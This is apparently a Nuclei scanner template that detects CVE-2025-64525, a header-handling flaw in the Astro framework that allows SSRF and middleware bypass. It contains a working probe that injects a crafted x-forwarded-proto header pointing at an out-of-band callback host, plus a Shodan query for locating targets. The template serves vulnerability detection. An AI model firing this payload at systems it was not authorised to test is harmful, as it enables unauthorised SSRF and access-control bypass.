Astro - Broken Access Control

id: CVE-2025-64525

info:
  name: Astro - Broken Access Control
  author: zhero___,DhiyaneshDK
  severity: medium
  description: |
    Astro 2.16.0 to 5.15.5 contains a broken access control caused by insecure use of unsanitized x-forwarded-proto and x-forwarded-port headers in URL building, letting attackers bypass middleware protection, cause DoS, SSRF, and URL pollution, exploit requires crafted headers.
  impact: |
    Attackers can bypass route protection, cause denial of service, perform SSRF, and pollute URLs leading to security bypasses and potential XSS.
  remediation: |
    Update to version 5.15.5 or later.
  reference:
    - https://github.com/advisories/GHSA-hr2q-hp5q-x767
    - https://zhero-web-sec.github.io/research-and-things/astro-framework-and-standards-weaponization
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"_astro"
  tags: cve,cve2025,astro,ssrf,oast,oob

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      x-forwarded-proto: "http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Astro-Middleware"
          - "User-Agent: node"
        condition: or
# digest: 490a00463044022048b9d65d377160b2ca6aa9c98a530025e82c1beebc3231a7dabf01d2c6102b1e0220310651c22290a7d9d27b36a4953b646e23046ac9a6cea52a647f6f8bdf1f0a9a:922c64590222798bb761d5b6d8e72950